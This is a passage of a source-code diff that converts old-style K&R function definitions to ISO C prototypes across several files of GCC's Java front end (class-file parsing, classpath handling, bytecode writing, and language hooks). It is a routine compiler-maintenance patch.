-rup orig/egcc-CVS20030110/gcc/java/jcf-parse.c egcc-CVS20030110/gcc/java/jcf-parse.c --- orig/egcc-CVS20030110/gcc/java/jcf-parse.c 2003-01-09 21:35:27.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-parse.c 2003-01-10 23:40:42.895642941 -0500 @@ -106,9 +106,7 @@ static void load_inner_classes (tree); /* Handle "SourceFile" attribute. */ static void -set_source_filename (jcf, index) - JCF *jcf; - int index; +set_source_filename (JCF *jcf, int index) { tree sfname_id = get_name_constant (jcf, index); const char *sfname = IDENTIFIER_POINTER (sfname_id); @@ -223,9 +221,7 @@ set_source_filename (jcf, index) #include "jcf-reader.c" tree -parse_signature (jcf, sig_index) - JCF *jcf; - int sig_index; +parse_signature (JCF *jcf, int sig_index) { if (sig_index <= 0 || sig_index >= JPOOL_SIZE (jcf) || JPOOL_TAG (jcf, sig_index) != CONSTANT_Utf8) @@ -236,9 +232,7 @@ parse_signature (jcf, sig_index) } tree -get_constant (jcf, index) - JCF *jcf; - int index; +get_constant (JCF *jcf, int index) { tree value; int tag; @@ -336,9 +330,7 @@ get_constant (jcf, index) } tree -get_name_constant (jcf, index) - JCF *jcf; - int index; +get_name_constant (JCF *jcf, int index) { tree name = get_constant (jcf, index); @@ -353,9 +345,7 @@ get_name_constant (jcf, index) the outer context with the newly resolved innerclass. */ static void -handle_innerclass_attribute (count, jcf) - int count; - JCF *jcf; +handle_innerclass_attribute (int count, JCF *jcf) { int c = (count); while (c--) @@ -391,9 +381,7 @@ handle_innerclass_attribute (count, jcf) } static tree -give_name_to_class (jcf, i) - JCF *jcf; - int i; +give_name_to_class (JCF *jcf, int i) { if (i <= 0 || i >= JPOOL_SIZE (jcf) || JPOOL_TAG (jcf, i) != CONSTANT_Class) @@ -420,7 +408,7 @@ give_name_to_class (jcf, i) /* Get the class of the CONSTANT_Class whose constant pool index is I. */ tree -get_class_constant (JCF *jcf , int i) +get_class_constant (JCF *jcf, int i) { tree type; if (i <= 0 || i >= JPOOL_SIZE (jcf) @@ -455,8 +443,7 @@ get_class_constant (JCF *jcf , int i) define the class it is supposed to.) */ int -read_class (name) - tree name; +read_class (tree name) { JCF this_jcf, *jcf; tree icv, class = NULL_TREE; @@ -548,9 +535,7 @@ read_class (name) - and then perhaps rename read_class to load_class. FIXME */ void -load_class (class_or_name, verbose) - tree class_or_name; - int verbose; +load_class (tree class_or_name, int verbose) { tree name, saved; int class_loaded; @@ -596,8 +581,7 @@ load_class (class_or_name, verbose) /* Parse the .class file JCF. */ void -jcf_parse (jcf) - JCF* jcf; +jcf_parse (JCF* jcf) { int i, code; @@ -667,8 +651,7 @@ jcf_parse (jcf) /* If we came across inner classes, load them now. */ static void -load_inner_classes (cur_class) - tree cur_class; +load_inner_classes (tree cur_class) { tree current; for (current = DECL_INNER_CLASS_LIST (TYPE_NAME (cur_class)); current; @@ -683,13 +666,13 @@ load_inner_classes (cur_class) } void -init_outgoing_cpool () +init_outgoing_cpool (void) { outgoing_cpool = ggc_alloc_cleared (sizeof (struct CPool)); } static void -parse_class_file () +parse_class_file (void) { tree method, field; const char *save_input_filename = input_filename; @@ -799,9 +782,7 @@ parse_class_file () /* Parse a source file, as pointed by the current value of INPUT_FILENAME. */ static void -parse_source_file_1 (file, finput) - tree file; - FILE *finput; +parse_source_file_1 (tree file, FILE *finput) { int save_error_count = java_error_count; /* Mark the file as parsed */ @@ -833,7 +814,7 @@ parse_source_file_1 (file, finput) /* Process a parsed source file, resolving names etc. */ static void -parse_source_file_2 () +parse_source_file_2 (void) { int save_error_count = java_error_count; java_complete_class (); /* Parse unsatisfied class decl. */ @@ -841,7 +822,7 @@ parse_source_file_2 () } static void -parse_source_file_3 () +parse_source_file_3 (void) { int save_error_count = java_error_count; java_check_circular_reference (); /* Check on circular references */ @@ -852,15 +833,13 @@ parse_source_file_3 () } void -add_predefined_file (name) - tree name; +add_predefined_file (tree name) { predef_filenames = tree_cons (NULL_TREE, name, predef_filenames); } int -predefined_filename_p (node) - tree node; +predefined_filename_p (tree node) { tree iter; @@ -873,8 +852,7 @@ predefined_filename_p (node) } void -java_parse_file (set_yydebug) - int set_yydebug ATTRIBUTE_UNUSED; +java_parse_file (int set_yydebug ATTRIBUTE_UNUSED) { int filename_count = 0; char *list, *next; @@ -1229,7 +1207,7 @@ process_zip_dir (FILE *finput) /* Initialization. */ void -init_jcf_parse () +init_jcf_parse (void) { init_src_parse (); } diff -rup orig/egcc-CVS20030110/gcc/java/jcf-path.c egcc-CVS20030110/gcc/java/jcf-path.c --- orig/egcc-CVS20030110/gcc/java/jcf-path.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-path.c 2003-01-10 23:40:42.895642941 -0500 @@ -105,8 +105,7 @@ static int longest_path = 0; static void -free_entry (entp) - struct entry **entp; +free_entry (struct entry **entp) { struct entry *e, *n; @@ -120,9 +119,7 @@ free_entry (entp) } static void -append_entry (entp, ent) - struct entry **entp; - struct entry *ent; +append_entry (struct entry **entp, struct entry *ent) { /* It doesn't matter if this is slow, since it is run only at startup, and then infrequently. */ @@ -139,10 +136,7 @@ append_entry (entp, ent) } static void -add_entry (entp, filename, is_system) - struct entry **entp; - const char *filename; - int is_system; +add_entry (struct entry **entp, const char *filename, int is_system) { int len; struct entry *n; @@ -186,10 +180,7 @@ add_entry (entp, filename, is_system) } static void -add_path (entp, cp, is_system) - struct entry **entp; - const char *cp; - int is_system; +add_path (struct entry **entp, const char *cp, int is_system) { const char *startp, *endp; @@ -228,7 +219,7 @@ static int init_done = 0; /* Initialize the path module. */ void -jcf_path_init () +jcf_path_init (void) { char *cp; char *try, sep[2]; @@ -321,8 +312,7 @@ jcf_path_init () This overrides only the $CLASSPATH environment variable. */ void -jcf_path_classpath_arg (path) - const char *path; +jcf_path_classpath_arg (const char *path) { free_entry (&classpath_user); add_path (&classpath_user, path, 0); @@ -331,8 +321,7 @@ jcf_path_classpath_arg (path) /* Call this when -bootclasspath is seen on the command line. */ void -jcf_path_bootclasspath_arg (path) - const char *path; +jcf_path_bootclasspath_arg (const char *path) { free_entry (&sys_dirs); add_path (&sys_dirs, path, 1); @@ -341,8 +330,7 @@ jcf_path_bootclasspath_arg (path) /* Call this when -extdirs is seen on the command line. */ void -jcf_path_extdirs_arg (cp) - const char *cp; +jcf_path_extdirs_arg (const char *cp) { const char *startp, *endp; @@ -406,8 +394,7 @@ jcf_path_extdirs_arg (cp) /* Call this when -I is seen on the command line. */ void -jcf_path_include_arg (path) - const char *path; +jcf_path_include_arg (const char *path) { add_entry (&include_dirs, path, 0); } @@ -416,8 +403,7 @@ jcf_path_include_arg (path) we provide a way to iterate through the sealed list. If PRINT is true then we print the final class path to stderr. */ void -jcf_path_seal (print) - int print; +jcf_path_seal (int print) { struct entry *secondary; @@ -465,14 +451,13 @@ jcf_path_seal (print) } void * -jcf_path_start () +jcf_path_start (void) { return (void *) sealed; } void * -jcf_path_next (x) - void *x; +jcf_path_next (void *x) { struct entry *ent = (struct entry *) x; return (void *) ent->next; @@ -481,31 +466,28 @@ jcf_path_next (x) /* We guarantee that the return path will either be a zip file, or it will end with a directory separator. */ char * -jcf_path_name (x) - void *x; +jcf_path_name (void *x) { struct entry *ent = (struct entry *) x; return ent->name; } int -jcf_path_is_zipfile (x) - void *x; +jcf_path_is_zipfile (void *x) { struct entry *ent = (struct entry *) x; return (ent->flags & FLAG_ZIP); } int -jcf_path_is_system (x) - void *x; +jcf_path_is_system (void *x) { struct entry *ent = (struct entry *) x; return (ent->flags & FLAG_SYSTEM); } int -jcf_path_max_len () +jcf_path_max_len (void) { return longest_path; } diff -rup orig/egcc-CVS20030110/gcc/java/jcf-reader.c egcc-CVS20030110/gcc/java/jcf-reader.c --- orig/egcc-CVS20030110/gcc/java/jcf-reader.c 2003-01-09 21:35:27.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-reader.c 2003-01-10 23:40:42.895642941 -0500 @@ -50,11 +50,8 @@ static void skip_attribute (JCF *, int); #ifdef NEED_PEEK_ATTRIBUTE /* Not everyone uses this function */ static int -peek_attribute (jcf, attribute_number, peeked_name, peeked_name_length) - JCF *jcf; - int attribute_number; - const char *peeked_name; - int peeked_name_length; +peek_attribute (JCF *jcf, int attribute_number, const char *peeked_name, + int peeked_name_length) { int to_return = 0; long absolute_offset = (long)JCF_TELL (jcf); @@ -92,9 +89,7 @@ peek_attribute (jcf, attribute_number, p #ifdef NEED_SKIP_ATTRIBUTE /* Not everyone uses this function */ static void -skip_attribute (jcf, number_of_attribute) - JCF *jcf; - int number_of_attribute; +skip_attribute (JCF *jcf, int number_of_attribute) { while (number_of_attribute--) { diff -rup orig/egcc-CVS20030110/gcc/java/jcf-write.c egcc-CVS20030110/gcc/java/jcf-write.c --- orig/egcc-CVS20030110/gcc/java/jcf-write.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-write.c 2003-01-10 23:40:42.915642914 -0500 @@ -352,10 +352,7 @@ static void append_gcj_attribute (struct static int CHECK_PUT (void *, struct jcf_partial *, int); static int -CHECK_PUT (ptr, state, i) - void *ptr; - struct jcf_partial *state; - int i; +CHECK_PUT (void *ptr, struct jcf_partial *state, int i) { if ((unsigned char *) ptr < state->chunk->data || (unsigned char *) ptr + i > state->chunk->data + state->chunk->size) @@ -385,11 +382,8 @@ CHECK_PUT (ptr, state, i) However, if DATA is NULL and SIZE>0, allocate a buffer as well. */ static struct chunk * -alloc_chunk (last, data, size, work) - struct chunk *last; - unsigned char *data; - int size; - struct obstack *work; +alloc_chunk (struct chunk *last, unsigned char *data, + int size, struct obstack *work) { struct chunk *chunk = (struct chunk *) obstack_alloc (work, sizeof(struct chunk)); @@ -409,8 +403,7 @@ alloc_chunk (last, data, size, work) static int CHECK_OP (struct jcf_partial *); static int -CHECK_OP (state) - struct jcf_partial *state; +CHECK_OP (struct jcf_partial *state) { if (state->bytecode.ptr > state->bytecode.limit) abort (); @@ -422,10 +415,7 @@ CHECK_OP (state) #endif static unsigned char * -append_chunk (data, size, state) - unsigned char *data; - int size; - struct jcf_partial *state; +append_chunk (unsigned char *data, int size, struct jcf_partial *state) { state->chunk = alloc_chunk (state->chunk, data, size, state->chunk_obstack); if (state->first == NULL) @@ -434,18 +424,14 @@ append_chunk (data, size, state) } static void -append_chunk_copy (data, size, state) - unsigned char *data; - int size; - struct jcf_partial *state; +append_chunk_copy (unsigned char *data, int size, struct jcf_partial *state) { unsigned char *ptr = append_chunk (NULL, size, state); memcpy (ptr, data, size); } static struct jcf_block * -gen_jcf_label (state) - struct jcf_partial *state; +gen_jcf_label (struct jcf_partial *state) { struct jcf_block *block = (struct jcf_block *) obstack_alloc (state->chunk_obstack, sizeof (struct jcf_block)); @@ -456,8 +442,7 @@ gen_jcf_label (state) } static void -finish_jcf_block (state) - struct jcf_partial *state; +finish_jcf_block (struct jcf_partial *state) { struct jcf_block *block = state->last_block; struct jcf_relocation *reloc; @@ -483,9 +468,7 @@ finish_jcf_block (state) } static void -define_jcf_label (label, state) - struct jcf_block *label; - struct jcf_partial *state; +define_jcf_label (struct jcf_block *label, struct jcf_partial *state) { if (state->last_block != NULL) finish_jcf_block (state); @@ -500,8 +483,7 @@ define_jcf_label (label, state) } static struct jcf_block * -get_jcf_label_here (state) - struct jcf_partial *state; +get_jcf_label_here (struct jcf_partial *state) { if (state->last_block != NULL && BUFFER_LENGTH (&state->bytecode) == 0) return state->last_block; @@ -516,9 +498,7 @@ get_jcf_label_here (state) /* Note a line number entry for the current PC and given LINE. */ static void -put_linenumber (line, state) - int line; - struct jcf_partial *state; +put_linenumber (int line, struct jcf_partial *state) { struct jcf_block *label = get_jcf_label_here (state); if (label->linenumber > 0) @@ -534,10 +514,8 @@ put_linenumber (line, state) in the range (START_LABEL, END_LABEL). */ static struct jcf_handler * -alloc_handler (start_label, end_label, state) - struct jcf_block *start_label; - struct jcf_block *end_label; - struct jcf_partial *state; +alloc_handler (struct jcf_block *start_label, struct jcf_block *end_label, + struct jcf_partial *state) { struct jcf_handler *handler = (struct jcf_handler *) obstack_alloc (state->chunk_obstack, sizeof (struct jcf_handler)); @@ -576,9 +554,7 @@ struct localvar_info ((struct localvar_info**) state->localvars.ptr - localvar_buffer) static void -localvar_alloc (decl, state) - tree decl; - struct jcf_partial *state; +localvar_alloc (tree decl, struct jcf_partial *state) { struct jcf_block *start_label = get_jcf_label_here (state); int wide = TYPE_IS_WIDE (TREE_TYPE (decl)); @@ -623,9 +599,7 @@ localvar_alloc (decl, state) } static void -localvar_free (decl, state) - tree decl; - struct jcf_partial *state; +localvar_free (tree decl, struct jcf_partial *state) { struct jcf_block *end_label = get_jcf_label_here (state); int index = DECL_LOCAL_INDEX (decl); @@ -654,8 +628,7 @@ localvar_free (decl, state) a field (FIELD_DECL or VAR_DECL, if static), as encoded in a .class file. */ static int -get_access_flags (decl) - tree decl; +get_access_flags (tree decl) { int flags = 0; int isfield = TREE_CODE (decl) == FIELD_DECL || TREE_CODE (decl) == VAR_DECL; @@ -721,9 +694,7 @@ get_access_flags (decl) /* Write the list of segments starting at CHUNKS to STREAM. */ static void -write_chunks (stream, chunks) - FILE* stream; - struct chunk *chunks; +write_chunks (FILE* stream, struct chunk *chunks) { for (; chunks != NULL; chunks = chunks->next) fwrite (chunks->data, chunks->size, 1, stream); @@ -733,9 +704,7 @@ write_chunks (stream, chunks) (Caller is responsible for doing NOTE_PUSH.) */ static void -push_constant1 (index, state) - HOST_WIDE_INT index; - struct jcf_partial *state; +push_constant1 (HOST_WIDE_INT index, struct jcf_partial *state) { RESERVE (3); if (index < 256) @@ -754,9 +723,7 @@ push_constant1 (index, state) (Caller is responsible for doing NOTE_PUSH.) */ static void -push_constant2 (index, state) - HOST_WIDE_INT index; - struct jcf_partial *state; +push_constant2 (HOST_WIDE_INT index, struct jcf_partial *state) { RESERVE (3); OP1 (OPCODE_ldc2_w); @@ -767,9 +734,7 @@ push_constant2 (index, state) Caller is responsible for doing NOTE_PUSH. */ static void -push_int_const (i, state) - HOST_WIDE_INT i; - struct jcf_partial *state; +push_int_const (HOST_WIDE_INT i, struct jcf_partial *state) { RESERVE(3); if (i >= -1 && i <= 5) @@ -793,9 +758,8 @@ push_int_const (i, state) } static int -find_constant_wide (lo, hi, state) - HOST_WIDE_INT lo, hi; - struct jcf_partial *state; +find_constant_wide (HOST_WIDE_INT lo, HOST_WIDE_INT hi, + struct jcf_partial *state) { HOST_WIDE_INT w1, w2; lshift_double (lo, hi, -32, 64, &w1, &w2, 1); @@ -807,9 +771,7 @@ find_constant_wide (lo, hi, state) Return the index in the constant pool. */ static int -find_constant_index (value, state) - tree value; - struct jcf_partial *state; +find_constant_index (tree value, struct jcf_partial *state) { if (TREE_CODE (value) == INTEGER_CST) { @@ -847,9 +809,7 @@ find_constant_index (value, state) Caller is responsible for doing NOTE_PUSH. */ static void -push_long_const (lo, hi, state) - HOST_WIDE_INT lo, hi; - struct jcf_partial *state; +push_long_const (HOST_WIDE_INT lo, HOST_WIDE_INT hi, struct jcf_partial *state) { HOST_WIDE_INT highpart, dummy; jint lowpart = WORD_TO_INT (lo); @@ -873,10 +833,7 @@ push_long_const (lo, hi, state) } static void -field_op (field, opcode, state) - tree field; - int opcode; - struct jcf_partial *state; +field_op (tree field, int opcode, struct jcf_partial *state) { int index = find_fieldref_index (&state->cpool, field); RESERVE (3); @@ -889,9 +846,7 @@ field_op (field, opcode, state) opcodes typically depend on the operand type. */ static int -adjust_typed_op (type, max) - tree type; - int max; +adjust_typed_op (tree type, int max) { switch (TREE_CODE (type)) { @@ -924,9 +879,7 @@ adjust_typed_op (type, max) } static void -maybe_wide (opcode, index, state) - int opcode, index; - struct jcf_partial *state; +maybe_wide (int opcode, int index, struct jcf_partial *state) { if (index >= 256) { @@ -949,9 +902,7 @@ maybe_wide (opcode, index, state) (The new words get inserted at stack[SP-size-offset].) */ static void -emit_dup (size, offset, state) - int size, offset; - struct jcf_partial *state; +emit_dup (int size, int offset, struct jcf_partial *state) { int kind; if (size == 0) @@ -970,19 +921,14 @@ emit_dup (size, offset, state) } static void -emit_pop (size, state) - int size; - struct jcf_partial *state; +emit_pop (int size, struct jcf_partial *state) { RESERVE (1); OP1 (OPCODE_pop - 1 + size); } static void -emit_iinc (var, value, state) - tree var; - HOST_WIDE_INT value; - struct jcf_partial *state; +emit_iinc (tree var, HOST_WIDE_INT value, struct jcf_partial *state) { int slot = DECL_LOCAL_INDEX (var); @@ -1004,10 +950,9 @@ emit_iinc (var, value, state) } static void -emit_load_or_store (var, opcode, state) - tree var; /* Variable to load from or store into. */ - int opcode; /* Either OPCODE_iload or OPCODE_istore. */ - struct jcf_partial *state; +emit_load_or_store (tree var, /* Variable to load from or store into. */ + int opcode, /* Either OPCODE_iload or OPCODE_istore. */ + struct jcf_partial *state) { tree type = TREE_TYPE (var); int kind = adjust_typed_op (type, 4); @@ -1022,38 +967,29 @@ emit_load_or_store (var, opcode, state) } static void -emit_load (var, state) - tree var; - struct jcf_partial *state; +emit_load (tree var, struct jcf_partial *state) { emit_load_or_store (var, OPCODE_iload, state); NOTE_PUSH (TYPE_IS_WIDE (TREE_TYPE (var)) ? 2 : 1); } static void -emit_store (var, state) - tree var; - struct jcf_partial *state; +emit_store (tree var, struct jcf_partial *state) { emit_load_or_store (var, OPCODE_istore, state); NOTE_POP (TYPE_IS_WIDE (TREE_TYPE (var)) ? 2 : 1); } static void -emit_unop (opcode, type, state) - enum java_opcode opcode; - tree type ATTRIBUTE_UNUSED; - struct jcf_partial *state; +emit_unop (enum java_opcode opcode, tree type ATTRIBUTE_UNUSED, + struct jcf_partial *state) { RESERVE(1); OP1 (opcode); } static void -emit_binop (opcode, type, state) - enum java_opcode opcode; - tree type; - struct jcf_partial *state; +emit_binop (enum java_opcode opcode, tree type, struct jcf_partial *state) { int size = TYPE_IS_WIDE (type) ? 2 : 1; RESERVE(1); @@ -1062,11 +998,8 @@ emit_binop (opcode, type, state) } static void -emit_reloc (value, kind, target, state) - HOST_WIDE_INT value; - int kind; - struct jcf_block *target; - struct jcf_partial *state; +emit_reloc (HOST_WIDE_INT value, int kind, + struct jcf_block *target, struct jcf_partial *state) { struct jcf_relocation *reloc = (struct jcf_relocation *) obstack_alloc (state->chunk_obstack, sizeof (struct jcf_relocation)); @@ -1083,9 +1016,7 @@ emit_reloc (value, kind, target, state) } static void -emit_switch_reloc (label, state) - struct jcf_block *label; - struct jcf_partial *state; +emit_switch_reloc (struct jcf_block *label, struct jcf_partial *state) { emit_reloc (RELOCATION_VALUE_0, BLOCK_START_RELOC, label, state); } @@ -1094,9 +1025,7 @@ emit_switch_reloc (label, state) but re-uses an existing case reloc. */ static void -emit_case_reloc (reloc, state) - struct jcf_relocation *reloc; - struct jcf_partial *state; +emit_case_reloc (struct jcf_relocation *reloc, struct jcf_partial *state) { struct jcf_block *block = state->last_block; reloc->next = block->u.relocations; @@ -1110,10 +1039,8 @@ emit_case_reloc (reloc, state) The opcode is OPCODE, the inverted opcode is INV_OPCODE. */ static void -emit_if (target, opcode, inv_opcode, state) - struct jcf_block *target; - int opcode, inv_opcode; - struct jcf_partial *state; +emit_if (struct jcf_block *target, int opcode, int inv_opcode, + struct jcf_partial *state) { RESERVE(3); OP1 (opcode); @@ -1122,9 +1049,7 @@ emit_if (target, opcode, inv_opcode, sta } static void -emit_goto (target, state) - struct jcf_block *target; - struct jcf_partial *state; +emit_goto (struct jcf_block *target, struct jcf_partial *state) { RESERVE(3); OP1 (OPCODE_goto); @@ -1133,9 +1058,7 @@ emit_goto (target, state) } static void -emit_jsr (target, state) - struct jcf_block *target; - struct jcf_partial *state; +emit_jsr (struct jcf_block *target, struct jcf_partial *state) { RESERVE(3); OP1 (OPCODE_jsr); @@ -1150,13 +1073,11 @@ emit_jsr (target, state) may be able to optimize away GOTO TRUE_LABEL; TRUE_LABEL:) */ static void -generate_bytecode_conditional (exp, true_label, false_label, - true_branch_first, state) - tree exp; - struct jcf_block *true_label; - struct jcf_block *false_label; - int true_branch_first; - struct jcf_partial *state; +generate_bytecode_conditional (tree exp, + struct jcf_block *true_label, + struct jcf_block *false_label, + int true_branch_first, + struct jcf_partial *state) { tree exp0, exp1, type; int save_SP = state->code_SP; @@ -1361,9 +1282,7 @@ generate_bytecode_conditional (exp, true emit label that is LIMIT). */ static void -call_cleanups (limit, state) - struct jcf_block *limit; - struct jcf_partial *state; +call_cleanups (struct jcf_block *limit, struct jcf_partial *state) { struct jcf_block *block = state->labeled_blocks; for (; block != limit; block = block->next) @@ -1374,9 +1293,7 @@ call_cleanups (limit, state) } static void -generate_bytecode_return (exp, state) - tree exp; - struct jcf_partial *state; +generate_bytecode_return (tree exp, struct jcf_partial *state) { tree return_type = TREE_TYPE (TREE_TYPE (state->current_method)); int returns_void = TREE_CODE (return_type) == VOID_TYPE; @@ -1443,10 +1360,7 @@ generate_bytecode_return (exp, state) TARGET is one of STACK_TARGET or IGNORE_TARGET. */ static void -generate_bytecode_insns (exp, target, state) - tree exp; - int target; - struct jcf_partial *state; +generate_bytecode_insns (tree exp, int target, struct jcf_partial *state) { tree type, arg; enum java_opcode jopcode; @@ -2641,8 +2555,7 @@ generate_bytecode_insns (exp, target, st } static void -perform_relocations (state) - struct jcf_partial *state; +perform_relocations (struct jcf_partial *state) { struct jcf_block *block; struct jcf_relocation *reloc; @@ -2840,9 +2753,7 @@ perform_relocations (state) } static void -init_jcf_state (state, work) - struct jcf_partial *state; - struct obstack *work; +init_jcf_state (struct jcf_partial *state, struct obstack *work) { state->chunk_obstack = work; state->first = state->chunk = NULL; @@ -2852,9 +2763,7 @@ init_jcf_state (state, work) } static void -init_jcf_method (state, method) - struct jcf_partial *state; - tree method; +init_jcf_method (struct jcf_partial *state, tree method) { state->current_method = method; state->blocks = state->last_block = NULL; @@ -2875,8 +2784,7 @@ init_jcf_method (state, method) } static void -release_jcf_state (state) - struct jcf_partial *state; +release_jcf_state (struct jcf_partial *state) { CPOOL_FINISH (&state->cpool); obstack_free (state->chunk_obstack, state->first); @@ -2888,9 +2796,7 @@ release_jcf_state (state) static GTY(()) tree SourceFile_node; static struct chunk * -generate_classfile (clas, state) - tree clas; - struct jcf_partial *state; +generate_classfile (tree clas, struct jcf_partial *state) { struct chunk *cpool_chunk; const char *source_file, *s; @@ -3210,8 +3116,7 @@ generate_classfile (clas, state) static GTY(()) tree Synthetic_node; static unsigned char * -append_synthetic_attribute (state) - struct jcf_partial *state; +append_synthetic_attribute (struct jcf_partial *state) { unsigned char *ptr = append_chunk (NULL, 6, state); int i; @@ -3228,9 +3133,7 @@ append_synthetic_attribute (state) } static void -append_gcj_attribute (state, class) - struct jcf_partial *state; - tree class; +append_gcj_attribute (struct jcf_partial *state, tree class) { unsigned char *ptr; int i; @@ -3247,9 +3150,7 @@ append_gcj_attribute (state, class) static tree InnerClasses_node; static void -append_innerclasses_attribute (state, class) - struct jcf_partial *state; - tree class; +append_innerclasses_attribute (struct jcf_partial *state, tree class) { tree orig_decl = TYPE_NAME (class); tree current, decl; @@ -3302,9 +3203,8 @@ append_innerclasses_attribute (state, cl } static void -append_innerclasses_attribute_entry (state, decl, name) - struct jcf_partial *state; - tree decl, name; +append_innerclasses_attribute_entry (struct jcf_partial *state, + tree decl, tree name) { int icii, icaf; int ocii = 0, ini = 0; @@ -3328,8 +3228,7 @@ append_innerclasses_attribute_entry (sta } static char * -make_class_file_name (clas) - tree clas; +make_class_file_name (tree clas) { const char *dname, *cname, *slash; char *r; @@ -3396,8 +3295,7 @@ make_class_file_name (clas) The output .class file name is make_class_file_name(CLAS). */ void -write_classfile (clas) - tree clas; +write_classfile (tree clas) { struct obstack *work = &temporary_obstack; struct jcf_partial state[1]; diff -rup orig/egcc-CVS20030110/gcc/java/jv-scan.c egcc-CVS20030110/gcc/java/jv-scan.c --- orig/egcc-CVS20030110/gcc/java/jv-scan.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jv-scan.c 2003-01-10 23:40:42.915642914 -0500 @@ -95,14 +95,14 @@ static const struct option options[] = }; static void -usage () +usage (void) { fprintf (stderr, "Try `jv-scan --help' for more information.\n"); exit (1); } static void -help () +help (void) { printf ("Usage: jv-scan [OPTION]... FILE...\n\n"); printf ("Print useful information read from Java source files.\n\n"); @@ -123,7 +123,7 @@ help () } static void -version () +version (void) { printf ("jv-scan (GCC) %s\n\n", version_string); printf ("Copyright (C) 2002 Free Software Foundation, Inc.\n"); @@ -264,8 +264,7 @@ warning (const char *s, ...) } void -gcc_obstack_init (obstack) - struct obstack *obstack; +gcc_obstack_init (struct obstack *obstack) { /* Let particular systems override the size of a chunk. */ #ifndef OBSTACK_CHUNK_SIZE diff -rup orig/egcc-CVS20030110/gcc/java/jvgenmain.c egcc-CVS20030110/gcc/java/jvgenmain.c --- orig/egcc-CVS20030110/gcc/java/jvgenmain.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jvgenmain.c 2003-01-10 23:40:42.915642914 -0500 @@ -40,8 +40,7 @@ struct obstack name_obstack; struct obstack *mangle_obstack = &name_obstack; void -gcc_obstack_init (obstack) - struct obstack *obstack; +gcc_obstack_init (struct obstack *obstack) { /* Let particular systems override the size of a chunk. */ #ifndef OBSTACK_CHUNK_SIZE @@ -157,8 +156,7 @@ main (int argc, char **argv) static char * -do_mangle_classname (string) - const char *string; +do_mangle_classname (const char *string) { const char *ptr; int count = 0; diff -rup orig/egcc-CVS20030110/gcc/java/lang.c egcc-CVS20030110/gcc/java/lang.c --- orig/egcc-CVS20030110/gcc/java/lang.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/lang.c 2003-01-10 23:40:42.925642800 -0500 @@ -292,10 +292,8 @@ const struct lang_hooks lang_hooks = LAN /* Process an option that can accept a `no-' form. Return 1 if option found, 0 otherwise. */ static int -process_option_with_no (p, table, table_size) - const char *p; - const struct string_option *table; - int table_size; +process_option_with_no (const char *p, const struct string_option *table, + int table_size) { int j; @@ -322,9 +320,7 @@ process_option_with_no (p, table, table_ * return 0, but do not complain if the option is not recognized. */ static int -java_decode_option (argc, argv) - int argc __attribute__ ((__unused__)); - char **argv; +java_decode_option (int argc __attribute__ ((__unused__)), char **argv) { char *p = argv[0]; @@ -509,8 +505,7 @@ java_decode_option (argc, argv) FILE *finput; static const char * -java_init (filename) - const char *filename; +java_init (const char *filename) { #if 0 extern int flag_minimal_debug; @@ -599,7 +594,7 @@ java_init (filename) } static void -java_finish () +java_finish (void) { jcf_dependency_write (); } @@ -617,9 +612,7 @@ static int decl_bufpos = 0; It length is given by LEN; -1 means the string is nul-terminated. */ static void -put_decl_string (str, len) - const char *str; - int len; +put_decl_string (const char *str, int len) { if (len < 0) len = strlen (str); @@ -643,8 +636,7 @@ put_decl_string (str, len) /* Append to decl_buf a printable name for NODE. */ static void -put_decl_node (node) - tree node; +put_decl_node (tree node) { int was_pointer = 0; if (TREE_CODE (node) == POINTER_TYPE) @@ -719,9 +711,7 @@ put_decl_node (node) which is also called directly by java_print_error_function. */ const char * -lang_printable_name (decl, v) - tree decl; - int v __attribute__ ((__unused__)); +lang_printable_name (tree decl, int v __attribute__ ((__unused__))) { decl_bufpos = 0; put_decl_node (decl); @@ -733,9 +723,7 @@ lang_printable_name (decl, v) space to the DECL name string -- With Leading Space. */ const char * -lang_printable_name_wls (decl, v) - tree decl; - int v __attribute__ ((__unused__)); +lang_printable_name_wls (tree decl, int v __attribute__ ((__unused__))) { decl_bufpos = 1; put_decl_node (decl); @@ -750,9 +738,8 @@ lang_printable_name_wls (decl, v) static GTY(()) tree last_error_function_context; static GTY(()) tree last_error_function; static void -java_print_error_function (context, file) - diagnostic_context *context __attribute__((__unused__)); - const char *file; +java_print_error_function (diagnostic_context *context ATTRIBUTE_UNUSED, + const char *file) { /* Don't print error messages with bogus function prototypes. */ if (inhibit_error_function_printing) @@ -796,14 +783,13 @@ java_print_error_function (context, file 2, function prototypes are fully resolved and can be printed when reporting errors. */ -void lang_init_source (level) - int level; +void lang_init_source (int level) { inhibit_error_function_printing = (level == 1); } static void -java_init_options () +java_init_options (void) { flag_bounds_check = 1; flag_exceptions = 1; @@ -814,7 +800,7 @@ java_init_options () } static bool -java_can_use_bit_fields_p () +java_can_use_bit_fields_p (void) { /* The bit-field optimizations cause problems when generating class files. */ @@ -823,7 +809,7 @@ java_can_use_bit_fields_p () /* Post-switch processing. */ static bool -java_post_options () +java_post_options (void) { /* Use tree inlining if possible. Function instrumentation is only done in the RTL level, so we disable tree inlining. */ @@ -845,8 +831,7 @@ java_post_options () /* Return either DECL or its known constant value (if it has one). */ tree -decl_constant_value (decl) - tree decl; +decl_constant_value (tree decl) { if (/* Don't change a variable array bound or initial value to a constant in a place where a variable is invalid. */ @@ -868,12 +853,11 @@ decl_constant_value (decl) /* Walk the language specific tree nodes during inlining. */ static tree -java_tree_inlining_walk_subtrees (tp,subtrees,func,data,htab) - tree *tp ATTRIBUTE_UNUSED; - int *subtrees ATTRIBUTE_UNUSED; - walk_tree_fn func ATTRIBUTE_UNUSED; - void *data ATTRIBUTE_UNUSED; - void *htab ATTRIBUTE_UNUSED; +java_tree_inlining_walk_subtrees (tree *tp ATTRIBUTE_UNUSED, + int *subtrees ATTRIBUTE_UNUSED, + walk_tree_fn func ATTRIBUTE_UNUSED, + void *data ATTRIBUTE_UNUSED, + void *htab ATTRIBUTE_UNUSED) { enum tree_code code; tree result; @@ -914,8 +898,7 @@ java_tree_inlining_walk_subtrees (tp,sub /* Called from unsafe_for_reeval. */ static int -java_unsafe_for_reeval (t) - tree t; +java_unsafe_for_reeval (tree t) { switch 